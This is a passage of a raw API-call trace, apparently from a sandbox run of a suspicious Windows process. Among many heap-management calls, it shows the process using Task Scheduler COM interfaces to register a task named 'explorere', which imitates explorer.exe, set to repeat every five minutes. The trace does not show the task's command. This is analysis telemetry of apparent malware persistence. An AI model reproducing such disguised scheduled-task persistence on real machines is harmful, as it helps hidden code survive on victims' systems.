_Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.081] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0117.081] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0117.081] GetProcessHeap () returned 0x2556b0d0000 [0117.081] GetProcessHeap () returned 0x2556b0d0000 [0117.081] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0da900) returned 1 [0117.081] GetProcessHeap () returned 0x2556b0d0000 [0117.081] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0da900) returned 0xc [0117.081] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0da900) returned 1 [0117.081] GetProcessHeap () returned 0x2556b0d0000 [0117.081] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x16) returned 0x2556b0da800 [0117.081] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x73cd6bc6b0, cchData=128 | out: lpLCData="0") returned 2 [0117.081] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.081] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0117.082] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0117.082] GetProcessHeap () returned 0x2556b0d0000 [0117.082] GetProcessHeap () returned 0x2556b0d0000 [0117.082] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0da9c0) returned 1 [0117.082] GetProcessHeap () returned 0x2556b0d0000 [0117.082] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0da9c0) returned 0xe [0117.082] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0da9c0) returned 1 [0117.082] GetProcessHeap () returned 0x2556b0d0000 [0117.082] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x16) returned 0x2556b0da8e0 [0117.082] GetLocalTime (in: lpSystemTime=0x73cd6bc8e8 | out: lpSystemTime=0x73cd6bc8e8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x28, wMilliseconds=0x1c8)) [0117.082] lstrlenW (lpString="") returned 0 [0117.082] GetLocalTime (in: lpSystemTime=0x73cd6bd2d8 | out: lpSystemTime=0x73cd6bd2d8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x28, wMilliseconds=0x1c8)) [0117.082] lstrlenW (lpString="") returned 0 [0117.082] lstrlenW (lpString="") returned 0 [0117.082] lstrlenW (lpString="") returned 0 [0117.082] lstrlenW (lpString="") returned 0 [0117.082] lstrlenW (lpString="5") returned 1 [0117.082] _wtol (_String="5") returned 5 [0117.082] lstrlenW (lpString="") returned 0 [0117.082] lstrlenW (lpString="") returned 0 [0117.083] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0117.104] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0117.158] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x73cd6bd030 | out: ppv=0x73cd6bd030*=0x2556b3756d0) returned 0x0 [0117.198] TaskScheduler:ITaskService:Connect (This=0x2556b3756d0, serverName=0x73cd6bd120*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x73cd6bd0f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x73cd6bd0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x73cd6bd0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0117.253] TaskScheduler:ITaskService:GetFolder (in: This=0x2556b3756d0, Path=0x0, ppFolder=0x73cd6bd210 | out: ppFolder=0x73cd6bd210*=0x2556b375820) returned 0x0 [0117.262] TaskScheduler:ITaskService:NewTask (in: This=0x2556b3756d0, flags=0x0, ppDefinition=0x73cd6bd1e8 | out: ppDefinition=0x73cd6bd1e8*=0x2556b3758a0) returned 0x0 [0117.263] ITaskDefinition:get_Actions (in: This=0x2556b3758a0, ppActions=0x73cd6bd130 | out: ppActions=0x73cd6bd130*=0x2556b375930) returned 0x0 [0117.266] IActionCollection:Create (in: This=0x2556b375930, Type=0, ppAction=0x73cd6bd170 | out: ppAction=0x73cd6bd170*=0x2556b375d40) returned 0x0 [0117.266] IUnknown:Release (This=0x2556b375d40) returned 0x1 [0117.266] IUnknown:Release (This=0x2556b375930) returned 0x1 [0117.266] ITaskDefinition:get_Triggers (in: This=0x2556b3758a0, ppTriggers=0x73cd6bcce0 | out: ppTriggers=0x73cd6bcce0*=0x2556b375bf0) returned 0x0 [0117.267] ITriggerCollection:Create (in: This=0x2556b375bf0, Type=1, ppTrigger=0x73cd6bccc8 | out: ppTrigger=0x73cd6bccc8*=0x2556b375db0) returned 0x0 [0117.267] lstrlenW (lpString="5") returned 1 [0117.267] _vsnwprintf (in: _Buffer=0x73cd6bcc50, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x73cd6bcc48 | out: _Buffer="PT5M") returned 4 [0117.267] ITrigger:get_Repetition (in: This=0x2556b375db0, ppRepeat=0x73cd6bccc0 | out: ppRepeat=0x73cd6bccc0*=0x2556b375e40) returned 0x0 [0117.267] IRepetitionPattern:put_Interval (This=0x2556b375e40, Interval="PT5M") returned 0x0 [0117.267] IUnknown:Release (This=0x2556b375e40) returned 0x1 [0117.267] _vsnwprintf (in: _Buffer=0x73cd6bcc10, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x73cd6bcbe8 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0117.268] ITrigger:put_StartBoundary (This=0x2556b375db0, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0117.268] lstrlenW (lpString="") returned 0 [0117.268] lstrlenW (lpString="") returned 0 [0117.268] lstrlenW (lpString="") returned 0 [0117.268] lstrlenW (lpString="") returned 0 [0117.268] IUnknown:Release (This=0x2556b375db0) returned 0x1 [0117.268] IUnknown:Release (This=0x2556b375bf0) returned 0x1 [0117.268] ITaskDefinition:get_Settings (in: This=0x2556b3758a0, ppSettings=0x73cd6bd170 | out: ppSettings=0x73cd6bd170*=0x2556b375a70) returned 0x0 [0117.268] lstrlenW (lpString="") returned 0 [0117.268] IUnknown:Release (This=0x2556b375a70) returned 0x3 [0117.268] GetLocalTime (in: lpSystemTime=0x73cd6bd028 | out: lpSystemTime=0x73cd6bd028*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x28, wMilliseconds=0x283)) [0117.268] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0117.269] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x73cd6bd040, nSize=0x73cd6bd018 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x73cd6bd018) returned 0x1 [0117.269] ITaskDefinition:get_RegistrationInfo (in: This=0x2556b3758a0, ppRegistrationInfo=0x73cd6bd010 | out: ppRegistrationInfo=0x73cd6bd010*=0x2556b3759b0) returned 0x0 [0117.270] IRegistrationInfo:put_Author (This=0x2556b3759b0, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0117.270] _vsnwprintf (in: _Buffer=0x73cd6bd040, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x73cd6bcfd8 | out: _Buffer="2023-09-19T17:15:40") returned 19 [0117.270] IRegistrationInfo:put_Date (This=0x2556b3759b0, Date="2023-09-19T17:15:40") returned 0x0 [0117.270] IUnknown:Release (This=0x2556b3759b0) returned 0x1 [0117.270] malloc (_Size=0x18) returned 0x2556b375ec0 [0117.270] free (_Block=0x2556b375ec0) [0117.270] lstrlenW (lpString="") returned 0 [0117.270] malloc (_Size=0x18) returned 0x2556b375ec0 [0117.271] ITaskFolder:RegisterTaskDefinition (in: This=0x2556b375820, Path="explorere", pDefinition=0x2556b3758a0, flags=6, UserId=0x73cd6bd280*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x73cd6bd260*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x73cd6bd2a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x73cd6bd240 | out: ppTask=0x73cd6bd240*=0x2556b376060) returned 0x0 [0117.349] free (_Block=0x2556b375ec0) [0117.349] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.349] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0117.349] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0117.349] GetProcessHeap () returned 0x2556b0d0000 [0117.349] GetProcessHeap () returned 0x2556b0d0000 [0117.349] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0daae0) returned 1 [0117.349] GetProcessHeap () returned 0x2556b0d0000 [0117.349] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0daae0) returned 0xc [0117.349] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0daae0) returned 1 [0117.349] GetProcessHeap () returned 0x2556b0d0000 [0117.349] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x82) returned 0x2556b0ebc30 [0117.349] _vsnwprintf (in: _Buffer=0x73cd6bd8f0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x73cd6bd188 | out: _Buffer="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n") returned 71 [0117.350] __iob_func () returned 0x7ffa7941e210 [0117.350] _fileno (_File=0x7ffa7941e240) returned -2 [0117.350] _errno () returned 0x2556b370840 [0117.350] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0117.350] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.350] lstrlenW (lpString="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n") returned 71 [0117.350] GetConsoleOutputCP () returned 0x0 [0117.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0117.350] GetConsoleOutputCP () returned 0x0 [0117.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0117.350] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 71 [0117.350] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0117.351] IUnknown:Release (This=0x2556b376060) returned 0x0 [0117.351] TaskScheduler:IUnknown:Release (This=0x2556b3758a0) returned 0x0 [0117.351] TaskScheduler:IUnknown:Release (This=0x2556b375820) returned 0x0 [0117.351] TaskScheduler:IUnknown:Release (This=0x2556b3756d0) returned 0x0 [0117.351] lstrlenW (lpString="") returned 0 [0117.351] lstrlenW (lpString="5") returned 1 [0117.351] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="5", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0117.351] GetProcessHeap () returned 0x2556b0d0000 [0117.351] GetProcessHeap () returned 0x2556b0d0000 [0117.351] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0dab80) returned 1 [0117.351] GetProcessHeap () returned 0x2556b0d0000 [0117.351] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0dab80) returned 0x1fc [0117.352] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0dab80) returned 1 [0117.352] GetProcessHeap () returned 0x2556b0d0000 [0117.352] GetProcessHeap () returned 0x2556b0d0000 [0117.352] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3c50) returned 1 [0117.352] GetProcessHeap () returned 0x2556b0d0000 [0117.352] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3c50) returned 0x4 [0117.352] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3c50) returned 1 [0117.352] GetProcessHeap () returned 0x2556b0d0000 [0117.352] GetProcessHeap () returned 0x2556b0d0000 [0117.352] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0daaa0) returned 1 [0117.352] GetProcessHeap () returned 0x2556b0d0000 [0117.352] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0daaa0) returned 0x16 [0117.352] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0daaa0) returned 1 [0117.352] GetProcessHeap () returned 0x2556b0d0000 [0117.352] GetProcessHeap () returned 0x2556b0d0000 [0117.352] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0da9a0) returned 1 [0117.352] GetProcessHeap () returned 0x2556b0d0000 [0117.352] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0da9a0) returned 0x18 [0117.352] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0da9a0) returned 1 [0117.352] GetProcessHeap () returned 0x2556b0d0000 [0117.352] GetProcessHeap () returned 0x2556b0d0000 [0117.352] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0dba00) returned 1 [0117.352] GetProcessHeap () returned 0x2556b0d0000 [0117.352] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0dba00) returned 0x20 [0117.353] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0dba00) returned 1 [0117.353] GetProcessHeap () returned 0x2556b0d0000 [0117.353] GetProcessHeap () returned 0x2556b0d0000 [0117.353] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d4220) returned 1 [0117.353] GetProcessHeap () returned 0x2556b0d0000 [0117.353] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d4220) returned 0xa0 [0117.353] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d4220) returned 1 [0117.353] GetProcessHeap () returned 0x2556b0d0000 [0117.353] GetProcessHeap () returned 0x2556b0d0000 [0117.353] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d46f0) returned 1 [0117.353] GetProcessHeap () returned 0x2556b0d0000 [0117.353] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d46f0) returned 0x18 [0117.353] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d46f0) returned 1 [0117.353] GetProcessHeap () returned 0x2556b0d0000 [0117.353] GetProcessHeap () returned 0x2556b0d0000 [0117.353] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0db850) returned 1 [0117.353] GetProcessHeap () returned 0x2556b0d0000 [0117.354] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0db850) returned 0x20 [0117.354] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0db850) returned 1 [0117.354] GetProcessHeap () returned 0x2556b0d0000 [0117.354] GetProcessHeap () returned 0x2556b0d0000 [0117.354] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0dc0b0) returned 1 [0117.354] GetProcessHeap () returned 0x2556b0d0000 [0117.354] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0dc0b0) returned 0x3a [0117.354] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0dc0b0) returned 1 [0117.354] GetProcessHeap () returned 0x2556b0d0000 [0117.354] GetProcessHeap () returned 0x2556b0d0000 [0117.354] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0da940) returned 1 [0117.354] GetProcessHeap () returned 0x2556b0d0000 [0117.354] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0da940) returned 0x18 [0117.354] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0da940) returned 1 [0117.354] GetProcessHeap () returned 0x2556b0d0000 [0117.354] GetProcessHeap () returned 0x2556b0d0000 [0117.354] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d8ef0) returned 1 [0117.355] GetProcessHeap () returned 0x2556b0d0000 [0117.355] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d8ef0) returned 0x20 [0117.355] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d8ef0) returned 1 [0117.355] GetProcessHeap () returned 0x2556b0d0000 [0117.355] GetProcessHeap () returned 0x2556b0d0000 [0117.355] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0dc290) returned 1 [0117.355] GetProcessHeap () returned 0x2556b0d0000 [0117.355] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0dc290) returned 0x3c [0117.355] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0dc290) returned 1 [0117.355] GetProcessHeap () returned 0x2556b0d0000 [0117.355] GetProcessHeap () returned 0x2556b0d0000 [0117.355] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0da8a0) returned 1 [0117.355] GetProcessHeap () returned 0x2556b0d0000 [0117.355] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0da8a0) returned 0x18 [0117.355] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0da8a0) returned 1 [0117.355] GetProcessHeap () returned 0x2556b0d0000 [0117.355] GetProcessHeap () returned 0x2556b0d0000 [0117.356] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d8ec0) returned 1 [0117.356] GetProcessHeap () returned 0x2556b0d0000 [0117.356] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d8ec0) returned 0x20 [0117.356] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d8ec0) returned 1 [0117.356] GetProcessHeap () returned 0x2556b0d0000 [0117.356] GetProcessHeap () returned 0x2556b0d0000 [0117.356] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0da960) returned 1 [0117.356] GetProcessHeap () returned 0x2556b0d0000 [0117.356] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0da960) returned 0xe [0117.356] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0da960) returned 1 [0117.356] GetProcessHeap () returned 0x2556b0d0000 [0117.356] GetProcessHeap () returned 0x2556b0d0000 [0117.356] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3bf0) returned 1 [0117.357] GetProcessHeap () returned 0x2556b0d0000 [0117.357] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3bf0) returned 0x18 [0117.357] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3bf0) returned 1 [0117.357] GetProcessHeap () returned 0x2556b0d0000 [0117.357] GetProcessHeap () returned 0x2556b0d0000 [0117.357] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d8dd0) returned 1 [0117.357] GetProcessHeap () returned 0x2556b0d0000 [0117.357] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d8dd0) returned 0x20 [0117.357] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d8dd0) returned 1 [0117.357] GetProcessHeap () returned 0x2556b0d0000 [0117.357] GetProcessHeap () returned 0x2556b0d0000 [0117.357] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d9a10) returned 1 [0117.357] GetProcessHeap () returned 0x2556b0d0000 [0117.357] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d9a10) returned 0x208 [0117.358] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d9a10) returned 1 [0117.358] GetProcessHeap () returned 0x2556b0d0000 [0117.358] GetProcessHeap () returned 0x2556b0d0000 [0117.358] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3910) returned 1 [0117.358] GetProcessHeap () returned 0x2556b0d0000 [0117.358] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3910) returned 0x18 [0117.358] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3910) returned 1 [0117.358] GetProcessHeap () returned 0x2556b0d0000 [0117.358] GetProcessHeap () returned 0x2556b0d0000 [0117.358] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d8da0) returned 1 [0117.358] GetProcessHeap () returned 0x2556b0d0000 [0117.358] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d8da0) returned 0x20 [0117.358] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d8da0) returned 1 [0117.358] GetProcessHeap () returned 0x2556b0d0000 [0117.358] GetProcessHeap () returned 0x2556b0d0000 [0117.358] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0dba40) returned 1 [0117.359] GetProcessHeap () returned 0x2556b0d0000 [0117.359] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0dba40) returned 0x200 [0117.359] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0dba40) returned 1 [0117.359] GetProcessHeap () returned 0x2556b0d0000 [0117.359] GetProcessHeap () returned 0x2556b0d0000 [0117.359] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3ee0) returned 1 [0117.359] GetProcessHeap () returned 0x2556b0d0000 [0117.359] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3ee0) returned 0x18 [0117.359] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3ee0) returned 1 [0117.359] GetProcessHeap () returned 0x2556b0d0000 [0117.359] GetProcessHeap () returned 0x2556b0d0000 [0117.359] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d9010) returned 1 [0117.359] GetProcessHeap () returned 0x2556b0d0000 [0117.359] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d9010) returned 0x20 [0117.360] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d9010) returned 1 [0117.360] GetProcessHeap () returned 0x2556b0d0000 [0117.360] GetProcessHeap () returned 0x2556b0d0000 [0117.360] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d4310) returned 1 [0117.360] GetProcessHeap () returned 0x2556b0d0000 [0117.360] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d4310) returned 0x14 [0117.360] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d4310) returned 1 [0117.360] GetProcessHeap () returned 0x2556b0d0000 [0117.360] GetProcessHeap () returned 0x2556b0d0000 [0117.360] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d42f0) returned 1 [0117.360] GetProcessHeap () returned 0x2556b0d0000 [0117.360] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d42f0) returned 0x18 [0117.360] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d42f0) returned 1 [0117.360] GetProcessHeap () returned 0x2556b0d0000 [0117.360] GetProcessHeap () returned 0x2556b0d0000 [0117.360] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d8e60) returned 1 [0117.360] GetProcessHeap () returned 0x2556b0d0000 [0117.360] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d8e60) returned 0x20 [0117.361] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d8e60) returned 1 [0117.361] GetProcessHeap () returned 0x2556b0d0000 [0117.361] GetProcessHeap () returned 0x2556b0d0000 [0117.361] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3b00) returned 1 [0117.361] GetProcessHeap () returned 0x2556b0d0000 [0117.361] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d3b00) returned 0x16 [0117.361] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d3b00) returned 1 [0117.361] GetProcessHeap () returned 0x2556b0d0000 [0117.361] GetProcessHeap () returned 0x2556b0d0000 [0117.361] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d47f0) returned 1 [0117.361] GetProcessHeap () returned 0x2556b0d0000 [0117.361] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d47f0) returned 0x18 [0117.361] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d47f0) returned 1 [0117.361] GetProcessHeap () returned 0x2556b0d0000 [0117.361] GetProcessHeap () returned 0x2556b0d0000 [0117.361] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d8e30) returned 1 [0117.361] GetProcessHeap () returned 0x2556b0d0000 [0117.361] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d8e30) returned 0x20 [0117.362] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d8e30) returned 1 [0117.362] GetProcessHeap () returned 0x2556b0d0000 [0117.362] GetProcessHeap () returned 0x2556b0d0000 [0117.362] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d4a30) returned 1 [0117.362] GetProcessHeap () returned 0x2556b0d0000 [0117.362] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0d4a30) returned 0x2 [0117.362] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0d4a30) returned 1 [0117.362] GetProcessHeap () returned 0x2556b0d0000 [0117.362] GetProcessHeap () returned 0x2556b0d0000 